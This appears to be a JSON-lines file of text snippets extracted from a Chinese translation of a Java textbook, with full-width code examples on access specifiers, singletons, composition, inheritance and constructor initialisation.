    {"text": "如果已经获得了 ｍｙｌｉｂ 内部的一个类，准备用它完成由 Ｗｉｄｇｅｔ 或者 ｍｙｌｉｂ 内部的其他某些 ｐｕｂｌｉｃ 类执行的 任务，此时又会出现什么情况呢？"},
    {"text": "为达到这个目的，只需将 ｐｕｂｌｉｃ 关键字从 类中剔除即可，这样便把类变成了“友好的”（类仅能在包内使用）。 注意不可将类设成 ｐｒｉｖａｔｅ（那样会使除类之外的其他东西都不能访问它），也不能设成 ｐｒｏｔｅｃｔｅｄ（注释 ④）。"},
    {"text": "如下例所示： ／／： Ｌｕｎｃｈ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｅｓ ｃｌａｓｓ ａｃｃｅｓｓ ｓｐｅｃｉｆｉｅｒｓ． ／／ Ｍａｋｅ ａ ｃｌａｓｓ ｅｆｆｅｃｔｉｖｅｌｙ ｐｒｉｖａｔｅ ／／ ｗｉｔｈ ｐｒｉｖａｔｅ ｃｏｎｓｔｒｕｃｔｏｒｓ： ｃｌａｓｓ Ｓｏｕｐ ｛ ｐｒｉｖａｔｅ Ｓｏｕｐ（） ｛｝ ／／ （１） Ａｌｌｏｗ ｃｒｅａｔｉｏｎ ｖｉａ ｓｔａｔｉｃ ｍｅｔｈｏｄ： ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｓｏｕｐ ｍａｋｅＳｏｕｐ（） ｛ ｒｅｔｕｒｎ ｎｅｗ Ｓｏｕｐ（）； ｝ ／／ （２） Ｃｒｅａｔｅ ａ ｓｔａｔｉｃ ｏｂｊｅｃｔ ａｎｄ ／／ ｒｅｔｕｒｎ ａ ｒｅｆｅｒｅｎｃｅ ｕｐｏｎ ｒｅｑｕｅｓｔ． ／／ （Ｔｈｅ ＂Ｓｉｎｇｌｅｔｏｎ＂ ｐａｔｔｅｒｎ）： ｐｒｉｖａｔｅ ｓｔａｔｉｃ Ｓｏｕｐ ｐｓ１ ＝ ｎｅｗ Ｓｏｕｐ（）； ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｓｏｕｐ ａｃｃｅｓｓ（） ｛ ｒｅｔｕｒｎ ｐｓ１； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｆ（） ｛｝ ｝ ｃｌａｓｓ Ｓａｎｄｗｉｃｈ ｛ ／／ Ｕｓｅｓ Ｌｕｎｃｈ ｖｏｉｄ ｆ（） ｛ ｎｅｗ Ｌｕｎｃｈ（）； ｝ １３５ ｝ ／／ Ｏｎｌｙ ｏｎｅ ｐｕｂｌｉｃ ｃｌａｓｓ ａｌｌｏｗｅｄ ｐｅｒ ｆｉｌｅ： ｐｕｂｌｉｃ ｃｌａｓｓ Ｌｕｎｃｈ ｛ ｖｏｉｄ ｔｅｓｔ（） ｛ ／／ Ｃａｎ＇ｔ ｄｏ ｔｈｉｓ！ Ｐｒｉｖａｔｅ ｃｏｎｓｔｒｕｃｔｏｒ： ／／！ Ｓｏｕｐ ｐｒｉｖ１ ＝ ｎｅｗ Ｓｏｕｐ（）； Ｓｏｕｐ ｐｒｉｖ２ ＝ Ｓｏｕｐ．ｍａｋｅＳｏｕｐ（）； Ｓａｎｄｗｉｃｈ ｆ１ ＝ ｎｅｗ Ｓａｎｄｗｉｃｈ（）； Ｓｏｕｐ．ａｃｃｅｓｓ（）．ｆ（）；"},
    {"text": "如果想在返回之前对 Ｓｏｕｐ 进行一些额外的操作，或者想了解准备创建多少个 Ｓｏｕｐ 对 象（可能是为了限制它们的个数），这种方案无疑是特别有用的。"},
    {"text": "然而，假若那个类一个 ｓｔａｔｉｃ 成员的属性是 ｐｕｂｌｉｃ，那么客户程序员仍然能够访问那个 ｓｔａｔｉｃ 成员——即使它们不能创建属于那个类的 一个对象。"},
    {"text": "创建一个库时，相当于建立了 同那个库的用户（即“客户程序员”）的一种关系——那些用户属于另外的程序员，可能用我们的库自行构 建一个应用程序，或者用我们的库构建一个更大的库。"},
    {"text": "而在 Ｊａｖａ 中，ｐａｃｋａｇｅ 关键字、包命名方案 以及 ｉｍｐｏｒｔ 关键字为我们提供对名字的完全控制，所以命名冲突的问题可以很轻易地得到避免。"},
    {"text": "（４） 在 ｃ０５ 目录（假定在自己的 ＣＬＡＳＳＰＡＴＨ 里）创建下述文件： ／／： ＰａｃｋａｇｅｄＣｌａｓｓ．ｊａｖａ ｐａｃｋａｇｅ ｃ０５；"},
    {"text": "ｃｌａｓｓ ＰａｃｋａｇｅｄＣｌａｓｓ ｛ ｐｕｂｌｉｃ ＰａｃｋａｇｅｄＣｌａｓｓ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｃｒｅａｔｉｎｇ ａ ｐａｃｋａｇｅｄ ｃｌａｓｓ＂）；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｆｏｒｅｉｇｎ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ （Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＰａｃｋａｇｅｄＣｌａｓｓ ｐｃ ＝ ｎｅｗ ＰａｃｋａｇｅｄＣｌａｓｓ（）；"},
    {"text": "如下所示（若执行该程序时有麻烦，请参见第 ３ 章 ３．１．２ 小节“赋值”）： ／／： ＳｐｒｉｎｋｌｅｒＳｙｓｔｅｍ．ｊａｖａ ／／ Ｃｏｍｐｏｓｉｔｉｏｎ ｆｏｒ ｃｏｄｅ ｒｅｕｓｅ ｐａｃｋａｇｅ ｃ０６；"},
    {"text": "ｃｌａｓｓ ＷａｔｅｒＳｏｕｒｃｅ ｛ ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ ｓ； ＷａｔｅｒＳｏｕｒｃｅ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＷａｔｅｒＳｏｕｒｃｅ（）＂）； ｓ ＝ ｎｅｗ Ｓｔｒｉｎｇ（＂Ｃｏｎｓｔｒｕｃｔｅｄ＂）； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｒｅｔｕｒｎ ｓ； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＳｐｒｉｎｋｌｅｒＳｙｓｔｅｍ ｛ ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ ｖａｌｖｅ１， ｖａｌｖｅ２， ｖａｌｖｅ３， ｖａｌｖｅ４； ＷａｔｅｒＳｏｕｒｃｅ ｓｏｕｒｃｅ； ｉｎｔ ｉ； ｆｌｏａｔ ｆ； ｖｏｉｄ ｐｒｉｎｔ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｖａｌｖｅ１ ＝ ＂ ＋ ｖａｌｖｅ１）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｖａｌｖｅ２ ＝ ＂ ＋ ｖａｌｖｅ２）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｖａｌｖｅ３ ＝ ＂ ＋ ｖａｌｖｅ３）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｖａｌｖｅ４ ＝ ＂ ＋ ｖａｌｖｅ４）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｉ ＝ ＂ ＋ ｉ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｆ ＝ ＂ ＋ ｆ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｓｏｕｒｃｅ ＝ ＂ ＋ ｓｏｕｒｃｅ）； １３９ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＳｐｒｉｎｋｌｅｒＳｙｓｔｅｍ ｘ ＝ ｎｅｗ ＳｐｒｉｎｋｌｅｒＳｙｓｔｅｍ（）； ｘ．ｐｒｉｎｔ（）； ｝ ｝ ／／／：￣ ＷａｔｅｒＳｏｕｒｃｅ 内定义的一个方法是比较特别的：ｔｏＳｔｒｉｎｇ（）。"},
    {"text": "编译器会发现我们试图向一个 ＷａｔｅｒＳｏｕｒｃｅ 添加一个 Ｓｔｒｉｎｇ 对象（＂ｓｏｕｒｃｅ ＝＂）。 这对它来说是不可接受 的，因为我们只能将一个字串“添加”到另一个字串，所以它会说：“我要调用 ｔｏＳｔｒｉｎｇ（），把 ｓｏｕｒｃｅ 转 换成字串！ ”经这样处理后，它就能编译两个字串，并将结果字串传递给一个 Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（）。"},
    {"text": "打印语句的输出事实 上是： ｖａｌｖｅ１ ＝ ｎｕｌｌ ｖａｌｖｅ２ ＝ ｎｕｌｌ ｖａｌｖｅ３ ＝ ｎｕｌｌ ｖａｌｖｅ４ ＝ ｎｕｌｌ ｉ ＝ ０ ｆ ＝ ０．０ ｓｏｕｒｃｅ ＝ ｎｕｌｌ 在类内作为字段使用的基本数据会初始化成零，就象第 ２ 章指出的那样。"},
    {"text": "下面向大家展示了所有这三种方法： ／／： Ｂａｔｈ．ｊａｖａ ／／ Ｃｏｎｓｔｒｕｃｔｏｒ ｉｎｉｔｉａｌｉｚａｔｉｏｎ ｗｉｔｈ ｃｏｍｐｏｓｉｔｉｏｎ ｃｌａｓｓ Ｓｏａｐ ｛ ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ ｓ； Ｓｏａｐ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｓｏａｐ（）＂）； ｓ ＝ ｎｅｗ Ｓｔｒｉｎｇ（＂Ｃｏｎｓｔｒｕｃｔｅｄ＂）； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｒｅｔｕｒｎ ｓ； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｂａｔｈ ｛ ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ １４０ ／／ Ｉｎｉｔｉａｌｉｚｉｎｇ ａｔ ｐｏｉｎｔ ｏｆ ｄｅｆｉｎｉｔｉｏｎ： ｓ１ ＝ ｎｅｗ Ｓｔｒｉｎｇ（＂Ｈａｐｐｙ＂）， ｓ２ ＝ ＂Ｈａｐｐｙ＂， ｓ３， ｓ４； Ｓｏａｐ ｃａｓｔｉｌｌｅ； ｉｎｔ ｉ； ｆｌｏａｔ ｔｏｙ； Ｂａｔｈ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｉｎｓｉｄｅ Ｂａｔｈ（）＂）； ｓ３ ＝ ｎｅｗ Ｓｔｒｉｎｇ（＂Ｊｏｙ＂）； ｉ ＝ ４７； ｔｏｙ ＝ ３．１４ｆ； ｃａｓｔｉｌｌｅ ＝ ｎｅｗ Ｓｏａｐ（）； ｝ ｖｏｉｄ ｐｒｉｎｔ（） ｛ ／／ Ｄｅｌａｙｅｄ ｉｎｉｔｉａｌｉｚａｔｉｏｎ： ｉｆ（ｓ４ ＝＝ ｎｕｌｌ） ｓ４ ＝ ｎｅｗ Ｓｔｒｉｎｇ（＂Ｊｏｙ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｓ１ ＝ ＂ ＋ ｓ１）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｓ２ ＝ ＂ ＋ ｓ２）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｓ３ ＝ ＂ ＋ ｓ３）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｓ４ ＝ ＂ ＋ ｓ４）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｉ ＝ ＂ ＋ ｉ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｔｏｙ ＝ ＂ ＋ ｔｏｙ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｃａｓｔｉｌｌｅ ＝ ＂ ＋ ｃａｓｔｉｌｌｅ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｂａｔｈ ｂ ＝ ｎｅｗ Ｂａｔｈ（）； ｂ．ｐｒｉｎｔ（）；"},
    {"text": "下面是该程序的输出： Ｉｎｓｉｄｅ Ｂａｔｈ（） Ｓｏａｐ（） ｓ１ ＝ Ｈａｐｐｙ ｓ２ ＝ Ｈａｐｐｙ ｓ３ ＝ Ｊｏｙ ｓ４ ＝ Ｊｏｙ ｉ ＝ ４７ ｔｏｙ ＝ ３．１４ ｃａｓｔｉｌｌｅ ＝ Ｃｏｎｓｔｒｕｃｔｅｄ 调用 ｐｒｉｎｔ（）时，它会填充 ｓ４，使所有字段在使用之前都获得正确的初始化。"},
    {"text": "下面是一个例子： ／／： Ｄｅｔｅｒｇｅｎｔ．ｊａｖａ ／／ Ｉｎｈｅｒｉｔａｎｃｅ ｓｙｎｔａｘ ＆ ｐｒｏｐｅｒｔｉｅｓ ｃｌａｓｓ Ｃｌｅａｎｓｅｒ ｛ ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ ｓ ＝ ｎｅｗ Ｓｔｒｉｎｇ（＂Ｃｌｅａｎｓｅｒ＂）； ｐｕｂｌｉｃ ｖｏｉｄ ａｐｐｅｎｄ（Ｓｔｒｉｎｇ ａ） ｛ ｓ ＋＝ ａ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｄｉｌｕｔｅ（） ｛ ａｐｐｅｎｄ（＂ ｄｉｌｕｔｅ（）＂）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｐｐｌｙ（） ｛ ａｐｐｅｎｄ（＂ ａｐｐｌｙ（）＂）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｃｒｕｂ（） ｛ ａｐｐｅｎｄ（＂ ｓｃｒｕｂ（）＂）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐｒｉｎｔ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｃｌｅａｎｓｅｒ ｘ ＝ ｎｅｗ Ｃｌｅａｎｓｅｒ（）； ｘ．ｄｉｌｕｔｅ（）； ｘ．ａｐｐｌｙ（）； ｘ．ｓｃｒｕｂ（）； ｘ．ｐｒｉｎｔ（）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｄｅｔｅｒｇｅｎｔ ｅｘｔｅｎｄｓ Ｃｌｅａｎｓｅｒ ｛ ／／ Ｃｈａｎｇｅ ａ ｍｅｔｈｏｄ： ｐｕｂｌｉｃ ｖｏｉｄ ｓｃｒｕｂ（） ｛ ａｐｐｅｎｄ（＂ Ｄｅｔｅｒｇｅｎｔ．ｓｃｒｕｂ（）＂）； ｓｕｐｅｒ．ｓｃｒｕｂ（）； ／／ Ｃａｌｌ ｂａｓｅ－ｃｌａｓｓ ｖｅｒｓｉｏｎ ｝ ／／ Ａｄｄ ｍｅｔｈｏｄｓ ｔｏ ｔｈｅ ｉｎｔｅｒｆａｃｅ： ｐｕｂｌｉｃ ｖｏｉｄ ｆｏａｍ（） ｛ ａｐｐｅｎｄ（＂ ｆｏａｍ（）＂）； ｝ ／／ Ｔｅｓｔ ｔｈｅ ｎｅｗ ｃｌａｓｓ： ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｄｅｔｅｒｇｅｎｔ ｘ ＝ ｎｅｗ Ｄｅｔｅｒｇｅｎｔ（）； ｘ．ｄｉｌｕｔｅ（）； ｘ．ａｐｐｌｙ（）； ｘ．ｓｃｒｕｂ（）； ｘ．ｆｏａｍ（）； ｘ．ｐｒｉｎｔ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔｅｓｔｉｎｇ ｂａｓｅ ｃｌａｓｓ：＂）； Ｃｌｅａｎｓｅｒ．ｍａｉｎ（ａｒｇｓ）；"},
    {"text": "即便在程序中含有数量众 多的类，但对于在命令行请求的 ｐｕｂｌｉｃ 类，只有 ｍａｉｎ（）才会得到调用。 所以在这种情况下，当我们使用 “ｊａｖａ Ｄｅｔｅｒｇｅｎｔ”的时候，调用的是 Ｄｅｇｅｒｇｅｎｔ．ｍａｉｎ（）——即使 Ｃｌｅａｎｓｅｒ 并非一个 ｐｕｂｌｉｃ 类。"},
    {"text": "所以在计划继承的时候，一个比较好的规则是将所有字段都设为 ｐｒｉｖａｔｅ，并将 所有方法都设为 ｐｕｂｌｉｃ（ｐｒｏｔｅｃｔｅｄ 成员也允许衍生出来的类访问它；"},
    {"text": "注意 Ｃｌｅａｎｓｅｒ 在它的接口中含有一系列方法：ａｐｐｅｎｄ（），ｄｉｌｕｔｅ（），ａｐｐｌｙ（），ｓｃｒｕｂ（）以及ｐｒｉｎｔ（）。 由于 Ｄｅｔｅｒｇｅｎｔ 是从 Ｃｌｅａｎｓｅｒ 衍生出来的（通过 ｅｘｔｅｎｄｓ 关键字），所以它会自动获得接口内的所有这些方法— —即使我们在 Ｄｅｔｅｒｇｅｎｔ 里并未看到对它们的明确定义。"},
    {"text": "在 Ｄｅｔｅｒｇｅｎｔ．ｍａｉｎ（）里，我们可看到对于 Ｄｅｔｅｒｇｅｎｔ 对象，可调用 Ｃｌｅａｎｓｅｒ 以及 Ｄｅｔｅｒｇｅｎｔ 内所有可用的 方法（如 ｆｏａｍ（））。"},
    {"text": "６ ． ２ ． １ 初始化基础类 由于这儿涉及到两个类——基础类及衍生类，而不再是以前的一个，所以在想象衍生类的结果对象时，可能 会产生一些迷惑。"},
    {"text": "创建衍生类的一个对象时，它在其中包含了基础类的一个“子对 象”。 这个子对象就象我们根据基础类本身创建了它的一个对象。 从外部看，基础类的子对象已封装到衍生 类的对象里了。"},
    {"text": "当然，基础类子对象应该正确地初始化，而且只有一种方法能保证这一点：在构建器中执行初始化，通过调 用基础类构建器，后者有足够的能力和权限来执行对基础类的初始化。"},
    {"text": "下面这个例子向大家展示了对这种三级继承的应用： ／／： Ｃａｒｔｏｏｎ．ｊａｖａ ／／ Ｃｏｎｓｔｒｕｃｔｏｒ ｃａｌｌｓ ｄｕｒｉｎｇ ｉｎｈｅｒｉｔａｎｃｅ ｃｌａｓｓ Ａｒｔ ｛ Ａｒｔ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ａｒｔ ｃｏｎｓｔｒｕｃｔｏｒ＂）；"},
    {"text": "｝ ｝ ｃｌａｓｓ Ｄｒａｗｉｎｇ ｅｘｔｅｎｄｓ Ａｒｔ ｛ Ｄｒａｗｉｎｇ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｄｒａｗｉｎｇ ｃｏｎｓｔｒｕｃｔｏｒ＂）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｃａｒｔｏｏｎ ｅｘｔｅｎｄｓ Ｄｒａｗｉｎｇ ｛ Ｃａｒｔｏｏｎ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃａｒｔｏｏｎ ｃｏｎｓｔｒｕｃｔｏｒ＂）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｃａｒｔｏｏｎ ｘ ＝ ｎｅｗ Ｃａｒｔｏｏｎ（）；"},
    {"text": "１４３ ｝ ｝ ／／／：￣ 该程序的输出显示了自动调用： Ａｒｔ ｃｏｎｓｔｒｕｃｔｏｒ Ｄｒａｗｉｎｇ ｃｏｎｓｔｒｕｃｔｏｒ Ｃａｒｔｏｏｎ ｃｏｎｓｔｒｕｃｔｏｒ 可以看出，构建是在基础类的“外部”进行的，所以基础类会在衍生类访问它之前得到正确的初始化。 即使没有为 Ｃａｒｔｏｏｎ（）创建一个构建器，编译器也会为我们自动合成一个默认构建器，并发出对基础类构建 器的调用。"},
    {"text": "这是用 ｓｕｐｅｒ 关键字以及适当的自变量列表实现的，如下所示： ／／： Ｃｈｅｓｓ．ｊａｖａ ／／ Ｉｎｈｅｒｉｔａｎｃｅ， ｃｏｎｓｔｒｕｃｔｏｒｓ ａｎｄ ａｒｇｕｍｅｎｔｓ ｃｌａｓｓ Ｇａｍｅ ｛ Ｇａｍｅ（ｉｎｔ ｉ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｇａｍｅ ｃｏｎｓｔｒｕｃｔｏｒ＂）；"},
    {"text": "｝ ｝ ｃｌａｓｓ ＢｏａｒｄＧａｍｅ ｅｘｔｅｎｄｓ Ｇａｍｅ ｛ ＢｏａｒｄＧａｍｅ（ｉｎｔ ｉ） ｛ ｓｕｐｅｒ（ｉ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＢｏａｒｄＧａｍｅ ｃｏｎｓｔｒｕｃｔｏｒ＂）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｃｈｅｓｓ ｅｘｔｅｎｄｓ ＢｏａｒｄＧａｍｅ ｛ Ｃｈｅｓｓ（） ｛ ｓｕｐｅｒ（１１）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｈｅｓｓ ｃｏｎｓｔｒｕｃｔｏｒ＂）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｃｈｅｓｓ ｘ ＝ ｎｅｗ Ｃｈｅｓｓ（）；"},
    {"text": "除此 以外，在衍生类构建器中，对基础类构建器的调用是必须做的第一件事情（如操作失当，编译器会向我们指 出）。 ２． 捕获基本构建器的违例 正如刚才指出的那样，编译器会强迫我们在衍生类构建器的主体中首先设置对基础类构建器的调用。"},
    {"text": "下面这个例子展示了如何同时采用继承与合成技术， 从而创建一个更复杂的类，同时进行必要的构建器初始化工作： ／／： ＰｌａｃｅＳｅｔｔｉｎｇ．ｊａｖａ ／／ Ｃｏｍｂｉｎｉｎｇ ｃｏｍｐｏｓｉｔｉｏｎ ＆ ｉｎｈｅｒｉｔａｎｃｅ ｃｌａｓｓ Ｐｌａｔｅ ｛ Ｐｌａｔｅ（ｉｎｔ ｉ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｐｌａｔｅ ｃｏｎｓｔｒｕｃｔｏｒ＂）；"},
    {"text": "｝ ｝ ｃｌａｓｓ ＤｉｎｎｅｒＰｌａｔｅ ｅｘｔｅｎｄｓ Ｐｌａｔｅ ｛ ＤｉｎｎｅｒＰｌａｔｅ（ｉｎｔ ｉ） ｛ ｓｕｐｅｒ（ｉ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ＤｉｎｎｅｒＰｌａｔｅ ｃｏｎｓｔｒｕｃｔｏｒ＂）； ｝ ｝ ｃｌａｓｓ Ｕｔｅｎｓｉｌ ｛ Ｕｔｅｎｓｉｌ（ｉｎｔ ｉ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｕｔｅｎｓｉｌ ｃｏｎｓｔｒｕｃｔｏｒ＂）； ｝ ｝ ｃｌａｓｓ Ｓｐｏｏｎ ｅｘｔｅｎｄｓ Ｕｔｅｎｓｉｌ ｛ Ｓｐｏｏｎ（ｉｎｔ ｉ） ｛ ｓｕｐｅｒ（ｉ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｓｐｏｏｎ ｃｏｎｓｔｒｕｃｔｏｒ＂）； ｝ ｝ ｃｌａｓｓ Ｆｏｒｋ ｅｘｔｅｎｄｓ Ｕｔｅｎｓｉｌ ｛ Ｆｏｒｋ（ｉｎｔ ｉ） ｛ ｓｕｐｅｒ（ｉ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｆｏｒｋ ｃｏｎｓｔｒｕｃｔｏｒ＂）； ｝ ｝ ｃｌａｓｓ Ｋｎｉｆｅ ｅｘｔｅｎｄｓ Ｕｔｅｎｓｉｌ ｛ Ｋｎｉｆｅ（ｉｎｔ ｉ） ｛ ｓｕｐｅｒ（ｉ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｋｎｉｆｅ ｃｏｎｓｔｒｕｃｔｏｒ＂）； ｝ ｝ ／／ Ａ ｃｕｌｔｕｒａｌ ｗａｙ ｏｆ ｄｏｉｎｇ ｓｏｍｅｔｈｉｎｇ： ｃｌａｓｓ Ｃｕｓｔｏｍ ｛ Ｃｕｓｔｏｍ（ｉｎｔ ｉ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｕｓｔｏｍ ｃｏｎｓｔｒｕｃｔｏｒ＂）； １４５ ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＰｌａｃｅＳｅｔｔｉｎｇ ｅｘｔｅｎｄｓ Ｃｕｓｔｏｍ ｛ Ｓｐｏｏｎ ｓｐ； Ｆｏｒｋ ｆｒｋ； Ｋｎｉｆｅ ｋｎ； ＤｉｎｎｅｒＰｌａｔｅ ｐｌ； ＰｌａｃｅＳｅｔｔｉｎｇ（ｉｎｔ ｉ） ｛ ｓｕｐｅｒ（ｉ ＋ １）； ｓｐ ＝ ｎｅｗ Ｓｐｏｏｎ（ｉ ＋ ２）； ｆｒｋ ＝ ｎｅｗ Ｆｏｒｋ（ｉ ＋ ３）； ｋｎ ＝ ｎｅｗ Ｋｎｉｆｅ（ｉ ＋ ４）； ｐｌ ＝ ｎｅｗ ＤｉｎｎｅｒＰｌａｔｅ（ｉ ＋ ５）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ＰｌａｃｅＳｅｔｔｉｎｇ ｃｏｎｓｔｒｕｃｔｏｒ＂）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＰｌａｃｅＳｅｔｔｉｎｇ ｘ ＝ ｎｅｗ ＰｌａｃｅＳｅｔｔｉｎｇ（９）；"},
    {"text": "｝ ｝ ／／／：￣ 尽管编译器会强迫我们对基础类进行初始化，并要求我们在构建器最开头做这一工作，但它并不会监视我们 是否正确初始化了成员对象。"},
    {"text": "垃圾收集器大多数时候都能很好地工作，但在某些情况下，我们的类可能在自己的存在时期采取一些行动， 而这些行动要求必须进行明确的清除工作。"},
    {"text": "而在所有这一切的后面， 就如第 ９ 章（违例控制）要详细解释的那样，必须将这样的清除代码置于一个 ｆｉｎａｌｌｙ 从句中，从而防范任 何可能出现的违例事件。"},
    {"text": "下面介绍的是一个计算机辅助设计系统的例子，它能在屏幕上描绘图形： ／／： ＣＡＤＳｙｓｔｅｍ．ｊａｖａ ／／ Ｅｎｓｕｒｉｎｇ ｐｒｏｐｅｒ ｃｌｅａｎｕｐ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｃｌａｓｓ Ｓｈａｐｅ ｛ Ｓｈａｐｅ（ｉｎｔ ｉ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｓｈａｐｅ ｃｏｎｓｔｒｕｃｔｏｒ＂）； ｝ ｖｏｉｄ ｃｌｅａｎｕｐ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｓｈａｐｅ ｃｌｅａｎｕｐ＂）； ｝ ｝ ｃｌａｓｓ Ｃｉｒｃｌｅ ｅｘｔｅｎｄｓ Ｓｈａｐｅ ｛ Ｃｉｒｃｌｅ（ｉｎｔ ｉ） ｛ １４６ ｓｕｐｅｒ（ｉ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｄｒａｗｉｎｇ ａ Ｃｉｒｃｌｅ＂）； ｝ ｖｏｉｄ ｃｌｅａｎｕｐ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｅｒａｓｉｎｇ ａ Ｃｉｒｃｌｅ＂）； ｓｕｐｅｒ．ｃｌｅａｎｕｐ（）； ｝ ｝ ｃｌａｓｓ Ｔｒｉａｎｇｌｅ ｅｘｔｅｎｄｓ Ｓｈａｐｅ ｛ Ｔｒｉａｎｇｌｅ（ｉｎｔ ｉ） ｛ ｓｕｐｅｒ（ｉ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｄｒａｗｉｎｇ ａ Ｔｒｉａｎｇｌｅ＂）； ｝ ｖｏｉｄ ｃｌｅａｎｕｐ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｅｒａｓｉｎｇ 